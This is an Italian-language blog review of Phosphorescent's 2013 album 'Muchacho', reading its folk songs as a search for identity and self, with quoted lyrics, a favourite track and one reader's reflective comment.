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noHiPSTER | December 11, 2018

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1 Commento

The Phosphorescent – Muchacho (2013)

Pierpaolo Pucciarelli

The Phosphorescent – USA

Muchacho
Data di rilascio: 2013

 Mi ha scritto noHiPSTER chiedendomi di ascoltare un disco, e di recensirlo. Ha aggiunto: «Il gruppo si chiama Phosphorescent, e il cantante (cantautore nonché mente del gruppo), è un tipo bislacco, interessante. Secondo me sono un palese esempio di trasformazione di un genere classico, metà strada tra lo scontato e il ‘qua ci vuole qualcosa di pazzesco’». Beh, caro noHiPSTER, secondo me il giudizio è azzeccato. Quanto segue, comunque, è quello che ti sei guadagnato con la tua richiesta.

 Di un disco dall’andamento folk che mette in vetrina le debolezze della psiche non c’è da stupirsi, se accettiamo il fatto che ogni nostra azione è un segno di quello che siamo, ci piaccia o no. E quello che non ci piace non dovremmo ignorarlo, o nasconderlo, dovremmo piuttosto affrontarlo, sfidarlo. Un buon punto di partenza per cominciare la battaglia è chiamare le cose col proprio nome: saliranno a galla come gli gnocchi a fine cottura, senza ieraticità. Qui, in queste canzoni, Matthew Houck viaggia sulla linea di confine che taglia l’anima, lasciando i nostri sentimenti brancolare tra l’integra unità (da un lato) e una divergente pluralità (dall’altro). Il vero problema è che si tratta di una linea invisibile, che esiste solo nei nostri desideri (il che non la rende meno degna di essere cercata): prima ancora che con l’equilibrio, ha a che fare con la rabdomanzia.

Lo spirito del disco, dicevo, è di base quello folk americano, e le cose quindi si risolvono con e per la strada, quella da fare e quella fatta. E la strada ha sempre a che fare con l’identità, quella che abbiamo e quella che cerchiamo. Si riconoscono subito influenze folk e pshyc anni sessanta, Neil Young (come evitare di incontrarlo, su una strada che ha costruito lui?) e i Rolling Stones del ’67 (per esempio l’arrangiamento di A charm, a blade). Ma non è questo il punto. Non importa cosa siamo per gli altri, perché buona parte del giudizio dipenderà da loro; ci si incammina invece per cercare quello che siamo per noi stessi.

La questione è: mi posso fidare del mio punto di vista su me stesso, se dentro di me vedo una molteplicità di personalità? Intanto cammina, e sii disposto a lasciarti dietro quelle quattro cose che consideravi certezze. Questo è il tipico viaggio che dovrai fare da solo: gli altri, la band, ti potranno incoraggiare, ma la fatica ce la devi mettere tu.

 Da un disco come questo, ho l’idea, non si ha la percezione della musica folk come di una cosa che provenga da un altro tempo o mondo, da una tradizione, da una lontananza. La lontananza porta con se la solidità del punto di vista, la scomparsa delle sfumature. Qui, al contrario, si accetta l’ibridazione come fatto naturale, l’ibridazione come identità. E il disco con questo ha a che fare: con l’identità, con la scorporazione, con la contaminazione e la purezza, con l’abbaglio dell’interezza della personalità. E della mente (intesa proprio come cervello, che è sede dell’anima).

Dite sia un caso che il disco si apra (Song for Zula) con Johnny Cash – “Love is a burning thing / That it makes a fiery ring” – ? Non credo. È da lì che si parte: dal country, dalle radici, dall’anello in fiamme, dal cuore. Ma poi ci si distacca, si va per la propria strada; e non importa riuscire, quel che conta è andare. Quella che per Cash è una sentenza dettata al vento con la sicurezza di chi si è fatto le rughe mangiando la polvere dei propri passi, qui è ridotta a una verità comunemente accettata cui contrapporre, forse timidamente, la propria esperienza personale – col dubbio costante di star facendo la cosa sbagliata:

Some say love is a burning thing
That it makes a fiery ring
Oh but I know love as a fading thing
Just as fickle as a feather in a stream

Accettare le contraddizioni: siamo sfaccettature tremolanti perché i sentimenti, e persino gli oggetti, si nutrono di ambiguità. Eppure l’artefatta e dirompente ingenuità Cashiana è fatta della stessa pasta della nuda sincerità che sostiene Muchacho. I testi tengono in piedi con lucida sofferenza una sfilza di confessioni e remore che hanno quasi il sapore dell’autoanalisi. I vecchi maestri, le vecchie strade, la vecchia musica, il vecchio amore, non bastano più, non interessano più. Ma non è solo questione di rinnovamento. Il problema si fa patologico se non viene affrontato (A New Anhedonia è una canzone centrale, una disperata presa di coscienza). E il disco è come una promessa che nasce da un bisogno – è il finale a dirmelo:

See I can’t wake every morning babe
All aching and ornery babe
All jaded and thorny, no, I’m down to go 

Andare per essere. Ci vuole coraggio per andarsene sulla strada, si sa. Il coraggio di iniziare, il coraggio di non fermarsi: a un certo punto lo devi fare, se ti vuoi liberare. Buon ascolto.

Pezzo preferito: 07. A New Anhedonia                     Official page: http://phosphorescentmusic.com/

Se hai apprezzato la muscia dei Phosporeshent, noHiPSTER Special ti consiglia anche questo:

 http://www.youtube.com/watch?v=ndasAZ6QvZE&list=PLypVGpceFPCndjF952zsTv2halAjc7jNY

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Commenti

  1. “Matthew Houck viaggia sulla linea di confine che taglia l’anima, lasciando i nostri sentimenti brancolare tra l’integra unità (da un lato) e una divergente pluralità (dall’altro). Il vero problema è che si tratta di una linea invisibile, che esiste solo nei nostri desideri (il che non la rende meno degna di essere cercata): prima ancora che con l’equilibrio, ha a che fare con la rabdomanzia.”

    Non posso che partire da quì, e fermarmici anche. Spesso mi trovo ad apprezzare un album dopo averlo ascoltato per 10 secondi, a volte dopo 5, altre volte dalla copertina… forse esagerando. Ma le linee invisibili che tagliano l’anima le sento, trapassarmi da parte a parte, o rimbalzarmi addosso, riflesse da un fastidio, da una necessità impellente al preservare… a preservarmi.

    Perché la strada è davvero tracciata in fondo? E’ forse un percorso ad ostacoli? La strada è solo alle spalle, io credo.
    Buon ascolto e ascolto buono, non solo di oggetti ambigui mi parli, ma anche di soggetti. E la lontananza porta con se la solidità di un punto di vista, perché visto da lontano.. avvicinandosi, la prospettiva deforma e deflette, e ciò che pareva chiaro, ora c’inganna. Questo cerco dalla musica, un inganno!

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